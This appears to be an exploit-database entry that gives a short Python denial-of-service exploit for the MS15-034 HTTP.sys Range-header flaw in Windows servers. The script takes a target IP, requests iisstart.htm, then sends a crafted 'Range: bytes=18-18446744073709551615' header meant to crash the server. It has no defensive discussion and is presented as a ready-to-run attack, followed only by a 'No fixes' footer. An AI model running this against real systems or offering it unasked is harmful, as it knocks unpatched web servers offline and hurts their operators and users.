MS Windows (HTTP.sys) HTTP Request Parsing DoS (MS15-034)

2015-04-16 19:05:02

#Tested on Win Srv 2012R2.
import socket,sys

if len(sys.argv)<=1:
sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host, 80))
s.send(Payload)
s.recv(1024)
s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)

Fixes

No fixes

In order to submit a new fix you need to be registered.